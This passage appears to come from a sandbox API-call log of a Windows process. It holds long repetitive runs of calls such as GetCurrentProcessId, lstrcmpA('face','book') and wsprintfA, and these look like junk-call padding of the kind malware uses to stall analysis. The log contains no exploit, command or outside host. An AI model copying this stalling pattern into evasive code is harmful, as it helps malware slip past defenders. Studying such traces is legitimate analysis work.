0x12 [0071.060] GetCurrentProcessId () returned 0x81c [0071.060] GetCurrentProcessId () returned 0x81c [0071.060] lstrlenA (lpString="just string") returned 11 [0071.060] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.060] GetLastError () returned 0x12 [0071.060] GetCurrentProcessId () returned 0x81c [0071.060] GetCurrentProcessId () returned 0x81c [0071.060] lstrlenA (lpString="just string") returned 11 [0071.060] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.060] GetLastError () returned 0x12 [0071.060] GetCurrentProcessId () returned 0x81c [0071.060] lstrlenA (lpString="just string") returned 11 [0071.060] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.060] GetLastError () returned 0x12 [0071.060] lstrlenA (lpString="just string") returned 11 [0071.060] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.060] GetLastError () returned 0x12 [0071.060] GetCurrentProcessId () returned 0x81c [0071.060] GetCurrentProcessId () returned 0x81c [0071.060] lstrlenA (lpString="just string") returned 11 [0071.060] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.060] GetLastError () returned 0x12 [0071.060] GetCurrentProcessId () returned 0x81c [0071.060] GetCurrentProcessId () returned 0x81c [0071.060] GetCurrentProcessId () returned 0x81c [0071.060] lstrlenA (lpString="just string") returned 11 [0071.060] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.061] GetLastError () returned 0x12 [0071.061] GetLastError () returned 0x12 [0071.061] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1E14P") returned 7 [0071.061] SetLastError (dwErrCode=0x12) [0071.061] GetCurrentProcessId () returned 0x81c [0071.061] GetCurrentProcessId () returned 0x81c [0071.061] GetCurrentProcessId () returned 0x81c [0071.061] GetCurrentProcessId () returned 0x81c [0071.061] lstrlenA (lpString="just string") returned 11 [0071.061] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.061] GetLastError () returned 0x12 [0071.061] GetLastError () returned 0x12 [0071.061] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.061] SetLastError (dwErrCode=0x12) [0071.061] GetCurrentProcess () returned 0xffffffff [0071.061] GetLastError () returned 0x12 [0071.061] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1E30P") returned 7 [0071.061] SetLastError (dwErrCode=0x12) [0071.061] GetCurrentProcessId () returned 0x81c [0071.061] GetCurrentProcess () returned 0xffffffff [0071.061] GetLastError () returned 0x12 [0071.061] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1E31P") returned 7 [0071.061] SetLastError (dwErrCode=0x12) [0071.061] GetCurrentProcessId () returned 0x81c [0071.061] GetLastError () returned 0x12 [0071.061] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1E32P") returned 7 [0071.061] SetLastError (dwErrCode=0x12) [0071.061] GetCurrentProcessId () returned 0x81c [0071.061] GetCurrentProcessId () returned 0x81c [0071.061] GetCurrentProcessId () returned 0x81c [0071.061] GetCurrentProcessId () returned 0x81c [0071.061] lstrlenA (lpString="just string") returned 11 [0071.061] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.061] GetLastError () returned 0x12 [0071.061] GetLastError () returned 0x12 [0071.061] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.061] SetLastError (dwErrCode=0x12) [0071.061] GetCurrentProcess () returned 0xffffffff [0071.061] GetLastError () returned 0x12 [0071.061] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1E4EP") returned 7 [0071.061] SetLastError (dwErrCode=0x12) [0071.061] GetCurrentProcessId () returned 0x81c [0071.061] GetCurrentProcess () returned 0xffffffff [0071.061] GetLastError () returned 0x12 [0071.061] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1E4FP") returned 7 [0071.061] SetLastError (dwErrCode=0x12) [0071.061] GetCurrentProcessId () returned 0x81c [0071.061] GetLastError () returned 0x12 [0071.061] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1E50P") returned 7 [0071.061] SetLastError (dwErrCode=0x12) [0071.061] GetCurrentProcessId () returned 0x81c [0071.061] GetCurrentProcessId () returned 0x81c [0071.061] GetCurrentProcessId () returned 0x81c [0071.061] GetCurrentProcessId () returned 0x81c [0071.061] lstrlenA (lpString="just string") returned 11 [0071.061] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.061] GetLastError () returned 0x12 [0071.061] GetCurrentProcessId () returned 0x81c [0071.061] GetCurrentProcessId () returned 0x81c [0071.061] lstrlenA (lpString="just string") returned 11 [0071.062] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.062] GetLastError () returned 0x12 [0071.062] GetCurrentProcess () returned 0xffffffff [0071.062] GetLastError () returned 0x12 [0071.062] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1E9FP") returned 7 [0071.062] SetLastError (dwErrCode=0x12) [0071.062] GetCurrentProcessId () returned 0x81c [0071.062] GetLastError () returned 0x12 [0071.062] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1EA0P") returned 7 [0071.062] SetLastError (dwErrCode=0x12) [0071.062] GetCurrentProcessId () returned 0x81c [0071.062] GetCurrentProcessId () returned 0x81c [0071.062] GetCurrentProcessId () returned 0x81c [0071.062] GetCurrentProcessId () returned 0x81c [0071.062] lstrlenA (lpString="just string") returned 11 [0071.062] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.062] GetLastError () returned 0x12 [0071.062] GetCurrentProcessId () returned 0x81c [0071.062] lstrlenA (lpString="just string") returned 11 [0071.062] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.062] GetLastError () returned 0x12 [0071.062] GetLastError () returned 0x12 [0071.062] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1F0EP") returned 7 [0071.062] SetLastError (dwErrCode=0x12) [0071.062] GetCurrentProcessId () returned 0x81c [0071.062] GetCurrentProcessId () returned 0x81c [0071.062] GetCurrentProcessId () returned 0x81c [0071.062] GetCurrentProcessId () returned 0x81c [0071.062] lstrlenA (lpString="just string") returned 11 [0071.062] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.062] GetLastError () returned 0x12 [0071.062] GetLastError () returned 0x12 [0071.062] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.062] SetLastError (dwErrCode=0x12) [0071.062] GetCurrentProcess () returned 0xffffffff [0071.062] GetLastError () returned 0x12 [0071.062] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1F52P") returned 7 [0071.062] SetLastError (dwErrCode=0x12) [0071.062] GetCurrentProcessId () returned 0x81c [0071.062] GetCurrentProcess () returned 0xffffffff [0071.062] GetLastError () returned 0x12 [0071.062] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1F53P") returned 7 [0071.062] SetLastError (dwErrCode=0x12) [0071.062] GetCurrentProcessId () returned 0x81c [0071.062] GetLastError () returned 0x12 [0071.062] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1F54P") returned 7 [0071.062] SetLastError (dwErrCode=0x12) [0071.062] GetCurrentProcessId () returned 0x81c [0071.062] GetCurrentProcessId () returned 0x81c [0071.062] GetCurrentProcessId () returned 0x81c [0071.062] GetCurrentProcessId () returned 0x81c [0071.062] lstrlenA (lpString="just string") returned 11 [0071.062] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.062] GetLastError () returned 0x12 [0071.062] GetCurrentProcessId () returned 0x81c [0071.062] lstrlenA (lpString="just string") returned 11 [0071.062] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.062] GetLastError () returned 0x12 [0071.062] GetCurrentProcess () returned 0xffffffff [0071.062] GetLastError () returned 0x12 [0071.062] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1FB7P") returned 7 [0071.062] SetLastError (dwErrCode=0x12) [0071.063] GetCurrentProcessId () returned 0x81c [0071.063] GetLastError () returned 0x12 [0071.063] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F1FB8P") returned 7 [0071.063] SetLastError (dwErrCode=0x12) [0071.063] GetCurrentProcessId () returned 0x81c [0071.063] GetCurrentProcessId () returned 0x81c [0071.063] GetCurrentProcessId () returned 0x81c [0071.063] GetCurrentProcessId () returned 0x81c [0071.063] lstrlenA (lpString="just string") returned 11 [0071.063] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.063] GetLastError () returned 0x12 [0071.063] GetLastError () returned 0x12 [0071.063] GetLastError () returned 0x12 [0071.063] GetLastError () returned 0x12 [0071.063] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2044P") returned 7 [0071.063] SetLastError (dwErrCode=0x12) [0071.063] GetCurrentProcessId () returned 0x81c [0071.063] GetCurrentProcessId () returned 0x81c [0071.063] GetCurrentProcessId () returned 0x81c [0071.063] GetCurrentProcessId () returned 0x81c [0071.063] lstrlenA (lpString="just string") returned 11 [0071.063] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.063] GetLastError () returned 0x12 [0071.063] GetCurrentProcessId () returned 0x81c [0071.063] GetCurrentProcessId () returned 0x81c [0071.063] GetCurrentProcessId () returned 0x81c [0071.063] lstrlenA (lpString="just string") returned 11 [0071.063] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.063] GetLastError () returned 0x12 [0071.063] GetCurrentProcessId () returned 0x81c [0071.063] lstrlenA (lpString="just string") returned 11 [0071.063] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.063] GetLastError () returned 0x12 [0071.063] GetLastError () returned 0x12 [0071.063] GetLastError () returned 0x12 [0071.063] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.063] SetLastError (dwErrCode=0x12) [0071.063] GetCurrentProcess () returned 0xffffffff [0071.063] GetLastError () returned 0x12 [0071.063] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F210AP") returned 7 [0071.063] SetLastError (dwErrCode=0x12) [0071.063] GetCurrentProcessId () returned 0x81c [0071.063] GetCurrentProcess () returned 0xffffffff [0071.063] GetLastError () returned 0x12 [0071.063] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F210BP") returned 7 [0071.063] SetLastError (dwErrCode=0x12) [0071.063] GetCurrentProcessId () returned 0x81c [0071.063] GetLastError () returned 0x12 [0071.063] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F210CP") returned 7 [0071.063] SetLastError (dwErrCode=0x12) [0071.063] GetCurrentProcessId () returned 0x81c [0071.063] GetCurrentProcessId () returned 0x81c [0071.063] GetCurrentProcessId () returned 0x81c [0071.063] GetCurrentProcessId () returned 0x81c [0071.063] lstrlenA (lpString="just string") returned 11 [0071.063] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.063] GetLastError () returned 0x12 [0071.063] GetLastError () returned 0x12 [0071.063] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F212AP") returned 7 [0071.063] SetLastError (dwErrCode=0x12) [0071.064] GetCurrentProcessId () returned 0x81c [0071.064] GetCurrentProcessId () returned 0x81c [0071.064] GetCurrentProcessId () returned 0x81c [0071.064] GetCurrentProcessId () returned 0x81c [0071.064] lstrlenA (lpString="just string") returned 11 [0071.064] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.064] GetLastError () returned 0x12 [0071.064] GetLastError () returned 0x12 [0071.064] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2152P") returned 7 [0071.064] SetLastError (dwErrCode=0x12) [0071.064] GetCurrentProcessId () returned 0x81c [0071.064] GetCurrentProcessId () returned 0x81c [0071.064] GetCurrentProcessId () returned 0x81c [0071.064] GetCurrentProcessId () returned 0x81c [0071.064] lstrlenA (lpString="just string") returned 11 [0071.064] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.064] GetLastError () returned 0x12 [0071.064] lstrlenA (lpString="just string") returned 11 [0071.064] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.064] GetLastError () returned 0x12 [0071.064] GetLastError () returned 0x12 [0071.064] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F21A2P") returned 7 [0071.064] SetLastError (dwErrCode=0x12) [0071.064] GetCurrentProcessId () returned 0x81c [0071.064] GetCurrentProcessId () returned 0x81c [0071.064] GetCurrentProcessId () returned 0x81c [0071.064] GetCurrentProcessId () returned 0x81c [0071.064] lstrlenA (lpString="just string") returned 11 [0071.064] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.064] GetLastError () returned 0x12 [0071.064] GetLastError () returned 0x12 [0071.064] GetCurrentProcess () returned 0xffffffff [0071.064] GetLastError () returned 0x12 [0071.064] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F224BP") returned 7 [0071.064] SetLastError (dwErrCode=0x12) [0071.064] GetCurrentProcessId () returned 0x81c [0071.064] GetLastError () returned 0x12 [0071.064] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F224CP") returned 7 [0071.064] SetLastError (dwErrCode=0x12) [0071.064] GetCurrentProcessId () returned 0x81c [0071.064] GetCurrentProcessId () returned 0x81c [0071.064] GetCurrentProcessId () returned 0x81c [0071.064] GetCurrentProcessId () returned 0x81c [0071.064] lstrlenA (lpString="just string") returned 11 [0071.064] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.064] GetLastError () returned 0x12 [0071.064] GetLastError () returned 0x12 [0071.064] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.064] SetLastError (dwErrCode=0x12) [0071.064] GetCurrentProcess () returned 0xffffffff [0071.064] GetLastError () returned 0x12 [0071.064] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F22AEP") returned 7 [0071.064] SetLastError (dwErrCode=0x12) [0071.064] GetCurrentProcessId () returned 0x81c [0071.064] GetCurrentProcess () returned 0xffffffff [0071.064] GetLastError () returned 0x12 [0071.064] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F22AFP") returned 7 [0071.064] SetLastError (dwErrCode=0x12) [0071.064] GetCurrentProcessId () returned 0x81c [0071.064] GetLastError () returned 0x12 [0071.064] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F22B0P") returned 7 [0071.064] SetLastError (dwErrCode=0x12) [0071.065] GetCurrentProcessId () returned 0x81c [0071.065] GetCurrentProcessId () returned 0x81c [0071.065] GetCurrentProcessId () returned 0x81c [0071.065] GetCurrentProcessId () returned 0x81c [0071.065] lstrlenA (lpString="just string") returned 11 [0071.065] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.065] GetLastError () returned 0x12 [0071.065] GetCurrentProcessId () returned 0x81c [0071.065] lstrlenA (lpString="just string") returned 11 [0071.065] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.065] GetLastError () returned 0x12 [0071.065] lstrlenA (lpString="just string") returned 11 [0071.065] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.065] GetLastError () returned 0x12 [0071.065] GetLastError () returned 0x12 [0071.065] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.065] SetLastError (dwErrCode=0x12) [0071.065] GetCurrentProcess () returned 0xffffffff [0071.065] GetLastError () returned 0x12 [0071.065] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2312P") returned 7 [0071.065] SetLastError (dwErrCode=0x12) [0071.065] GetCurrentProcessId () returned 0x81c [0071.065] GetCurrentProcess () returned 0xffffffff [0071.065] GetLastError () returned 0x12 [0071.065] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2313P") returned 7 [0071.065] SetLastError (dwErrCode=0x12) [0071.065] GetCurrentProcessId () returned 0x81c [0071.065] GetLastError () returned 0x12 [0071.065] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2314P") returned 7 [0071.065] SetLastError (dwErrCode=0x12) [0071.065] GetCurrentProcessId () returned 0x81c [0071.065] GetCurrentProcessId () returned 0x81c [0071.065] GetCurrentProcessId () returned 0x81c [0071.065] GetCurrentProcessId () returned 0x81c [0071.065] lstrlenA (lpString="just string") returned 11 [0071.065] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.065] GetLastError () returned 0x12 [0071.065] GetCurrentProcessId () returned 0x81c [0071.065] GetCurrentProcessId () returned 0x81c [0071.065] lstrlenA (lpString="just string") returned 11 [0071.065] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.065] GetLastError () returned 0x12 [0071.065] GetLastError () returned 0x12 [0071.065] GetCurrentProcessId () returned 0x81c [0071.065] GetCurrentProcessId () returned 0x81c [0071.065] GetCurrentProcessId () returned 0x81c [0071.065] lstrlenA (lpString="just string") returned 11 [0071.065] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.065] GetLastError () returned 0x12 [0071.065] GetLastError () returned 0x12 [0071.065] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.065] SetLastError (dwErrCode=0x12) [0071.065] GetCurrentProcess () returned 0xffffffff [0071.065] GetLastError () returned 0x12 [0071.065] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2402P") returned 7 [0071.065] SetLastError (dwErrCode=0x12) [0071.065] GetCurrentProcessId () returned 0x81c [0071.065] GetCurrentProcess () returned 0xffffffff [0071.065] GetLastError () returned 0x12 [0071.066] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2403P") returned 7 [0071.066] SetLastError (dwErrCode=0x12) [0071.066] GetCurrentProcessId () returned 0x81c [0071.066] GetLastError () returned 0x12 [0071.066] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2404P") returned 7 [0071.066] SetLastError (dwErrCode=0x12) [0071.066] GetCurrentProcessId () returned 0x81c [0071.066] GetCurrentProcessId () returned 0x81c [0071.066] GetCurrentProcessId () returned 0x81c [0071.066] GetCurrentProcessId () returned 0x81c [0071.066] lstrlenA (lpString="just string") returned 11 [0071.066] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.066] GetLastError () returned 0x12 [0071.066] GetCurrentProcess () returned 0xffffffff [0071.066] GetLastError () returned 0x12 [0071.066] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2421P") returned 7 [0071.066] SetLastError (dwErrCode=0x12) [0071.066] GetCurrentProcessId () returned 0x81c [0071.066] GetLastError () returned 0x12 [0071.066] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2422P") returned 7 [0071.066] SetLastError (dwErrCode=0x12) [0071.066] GetCurrentProcessId () returned 0x81c [0071.066] GetCurrentProcessId () returned 0x81c [0071.066] GetCurrentProcessId () returned 0x81c [0071.066] GetCurrentProcessId () returned 0x81c [0071.066] lstrlenA (lpString="just string") returned 11 [0071.066] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.066] GetLastError () returned 0x12 [0071.066] lstrlenA (lpString="just string") returned 11 [0071.066] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.066] GetLastError () returned 0x12 [0071.066] GetLastError () returned 0x12 [0071.066] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.066] SetLastError (dwErrCode=0x12) [0071.066] GetCurrentProcess () returned 0xffffffff [0071.066] GetLastError () returned 0x12 [0071.066] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2484P") returned 7 [0071.066] SetLastError (dwErrCode=0x12) [0071.066] GetCurrentProcessId () returned 0x81c [0071.066] GetCurrentProcess () returned 0xffffffff [0071.066] GetLastError () returned 0x12 [0071.066] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2485P") returned 7 [0071.066] SetLastError (dwErrCode=0x12) [0071.066] GetCurrentProcessId () returned 0x81c [0071.066] GetLastError () returned 0x12 [0071.066] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2486P") returned 7 [0071.066] SetLastError (dwErrCode=0x12) [0071.066] GetCurrentProcessId () returned 0x81c [0071.066] GetCurrentProcessId () returned 0x81c [0071.066] GetCurrentProcessId () returned 0x81c [0071.066] GetCurrentProcessId () returned 0x81c [0071.066] lstrlenA (lpString="just string") returned 11 [0071.066] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.066] GetLastError () returned 0x12 [0071.066] GetLastError () returned 0x12 [0071.066] lstrcmpA (lpString1="M", lpString2="luck") returned 1 [0071.066] SetLastError (dwErrCode=0x12) [0071.066] GetCurrentProcess () returned 0xffffffff [0071.066] GetLastError () returned 0x12 [0071.067] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F24C0P") returned 7 [0071.067] SetLastError (dwErrCode=0x12) [0071.067] GetCurrentProcessId () returned 0x81c [0071.067] GetCurrentProcess () returned 0xffffffff [0071.067] GetLastError () returned 0x12 [0071.067] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F24C1P") returned 7 [0071.067] SetLastError (dwErrCode=0x12) [0071.067] GetCurrentProcessId () returned 0x81c [0071.067] GetLastError () returned 0x12 [0071.067] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F24C2P") returned 7 [0071.067] SetLastError (dwErrCode=0x12) [0071.067] GetCurrentProcessId () returned 0x81c [0071.067] GetCurrentProcessId () returned 0x81c [0071.067] GetCurrentProcessId () returned 0x81c [0071.067] GetCurrentProcessId () returned 0x81c [0071.067] lstrlenA (lpString="just string") returned 11 [0071.067] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.067] GetLastError () returned 0x12 [0071.067] lstrlenA (lpString="just string") returned 11 [0071.067] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.067] GetLastError () returned 0x12 [0071.067] GetLastError () returned 0x12 [0071.067] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2512P") returned 7 [0071.067] SetLastError (dwErrCode=0x12) [0071.067] GetCurrentProcessId () returned 0x81c [0071.067] GetCurrentProcessId () returned 0x81c [0071.067] GetCurrentProcessId () returned 0x81c [0071.067] GetCurrentProcessId () returned 0x81c [0071.067] lstrlenA (lpString="just string") returned 11 [0071.067] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.067] GetLastError () returned 0x12 [0071.067] GetLastError () returned 0x12 [0071.067] GetLastError () returned 0x12 [0071.067] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.067] SetLastError (dwErrCode=0x12) [0071.067] GetCurrentProcess () returned 0xffffffff [0071.067] GetLastError () returned 0x12 [0071.067] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2538P") returned 7 [0071.067] SetLastError (dwErrCode=0x12) [0071.067] GetCurrentProcessId () returned 0x81c [0071.067] GetCurrentProcess () returned 0xffffffff [0071.067] GetLastError () returned 0x12 [0071.067] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2539P") returned 7 [0071.067] SetLastError (dwErrCode=0x12) [0071.067] GetCurrentProcessId () returned 0x81c [0071.067] GetLastError () returned 0x12 [0071.067] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F253AP") returned 7 [0071.067] SetLastError (dwErrCode=0x12) [0071.067] GetCurrentProcessId () returned 0x81c [0071.067] GetCurrentProcessId () returned 0x81c [0071.067] GetCurrentProcessId () returned 0x81c [0071.067] GetCurrentProcessId () returned 0x81c [0071.067] lstrlenA (lpString="just string") returned 11 [0071.067] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.067] GetLastError () returned 0x12 [0071.067] GetLastError () returned 0x12 [0071.067] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.068] SetLastError (dwErrCode=0x12) [0071.068] GetCurrentProcess () returned 0xffffffff [0071.068] GetLastError () returned 0x12 [0071.068] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2560P") returned 7 [0071.068] SetLastError (dwErrCode=0x12) [0071.068] GetCurrentProcessId () returned 0x81c [0071.068] GetCurrentProcess () returned 0xffffffff [0071.068] GetLastError () returned 0x12 [0071.068] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2561P") returned 7 [0071.068] SetLastError (dwErrCode=0x12) [0071.068] GetCurrentProcessId () returned 0x81c [0071.068] GetLastError () returned 0x12 [0071.068] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2562P") returned 7 [0071.068] SetLastError (dwErrCode=0x12) [0071.068] GetCurrentProcessId () returned 0x81c [0071.068] GetCurrentProcessId () returned 0x81c [0071.068] GetCurrentProcessId () returned 0x81c [0071.068] GetCurrentProcessId () returned 0x81c [0071.068] lstrlenA (lpString="just string") returned 11 [0071.068] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.068] GetLastError () returned 0x12 [0071.068] GetLastError () returned 0x12 [0071.068] GetLastError () returned 0x12 [0071.068] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.069] SetLastError (dwErrCode=0x12) [0071.069] GetCurrentProcess () returned 0xffffffff [0071.069] GetLastError () returned 0x12 [0071.069] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F25B0P") returned 7 [0071.069] SetLastError (dwErrCode=0x12) [0071.069] GetCurrentProcessId () returned 0x81c [0071.069] GetCurrentProcess () returned 0xffffffff [0071.069] GetLastError () returned 0x12 [0071.069] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F25B1P") returned 7 [0071.069] SetLastError (dwErrCode=0x12) [0071.069] GetCurrentProcessId () returned 0x81c [0071.069] GetLastError () returned 0x12 [0071.069] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F25B2P") returned 7 [0071.069] SetLastError (dwErrCode=0x12) [0071.069] GetCurrentProcessId () returned 0x81c [0071.069] GetCurrentProcessId () returned 0x81c [0071.069] GetCurrentProcessId () returned 0x81c [0071.069] GetCurrentProcessId () returned 0x81c [0071.069] lstrlenA (lpString="just string") returned 11 [0071.069] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.069] GetLastError () returned 0x12 [0071.069] GetLastError () returned 0x12 [0071.069] lstrcmpA (lpString1="\x0e", lpString2="luck") returned -1 [0071.069] SetLastError (dwErrCode=0x12) [0071.069] GetCurrentProcess () returned 0xffffffff [0071.069] GetLastError () returned 0x12 [0071.069] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F25E2P") returned 7 [0071.069] SetLastError (dwErrCode=0x12) [0071.069] GetCurrentProcessId () returned 0x81c [0071.069] GetCurrentProcess () returned 0xffffffff [0071.069] GetLastError () returned 0x12 [0071.069] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F25E3P") returned 7 [0071.069] SetLastError (dwErrCode=0x12) [0071.069] GetCurrentProcessId () returned 0x81c [0071.069] GetLastError () returned 0x12 [0071.069] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F25E4P") returned 7 [0071.069] SetLastError (dwErrCode=0x12) [0071.069] GetCurrentProcessId () returned 0x81c [0071.069] GetCurrentProcessId () returned 0x81c [0071.069] GetCurrentProcessId () returned 0x81c [0071.069] GetCurrentProcessId () returned 0x81c [0071.069] lstrlenA (lpString="just string") returned 11 [0071.069] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.070] GetLastError () returned 0x12 [0071.070] GetCurrentProcessId () returned 0x81c [0071.070] GetCurrentProcessId () returned 0x81c [0071.070] GetCurrentProcessId () returned 0x81c [0071.070] lstrlenA (lpString="just string") returned 11 [0071.070] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.070] GetLastError () returned 0x12 [0071.070] GetCurrentProcessId () returned 0x81c [0071.070] lstrlenA (lpString="just string") returned 11 [0071.070] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.070] GetLastError () returned 0x12 [0071.070] lstrlenA (lpString="just string") returned 11 [0071.070] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.070] GetLastError () returned 0x12 [0071.070] GetCurrentProcessId () returned 0x81c [0071.070] lstrlenA (lpString="just string") returned 11 [0071.070] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.070] GetLastError () returned 0x12 [0071.070] GetLastError () returned 0x12 [0071.070] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F2634P") returned 7 [0071.070] SetLastError (dwErrCode=0x12) [0071.070] GetCurrentProcessId () returned 0x81c [0071.070] GetCurrentProcessId () returned 0x81c [0071.070] GetCurrentProcessId () returned 0x81c [0071.070] GetCurrentProcessId () returned 0x81c [0071.070] lstrlenA (lpString="just string") returned 11 [0071.070] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0071.070] GetLastError () returned 0x12 [0071.070] GetCurrentProcess () returned 0xffffffff [0071.070] GetLastError () returned 0x12 [0071.070] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F263DP") returned 7 [0071.070] SetLastError (dwErrCode=0x12) [0071.070] GetCurrentProcessId () returned 0x81c [0071.070] GetLastError () returned 0x12 [0071.070] wsprintfA (in: param_1=0x2f1fa9f, param_2="%X%P" | out: param_1="6F263EP") returned 7 [0071.070] SetLastError 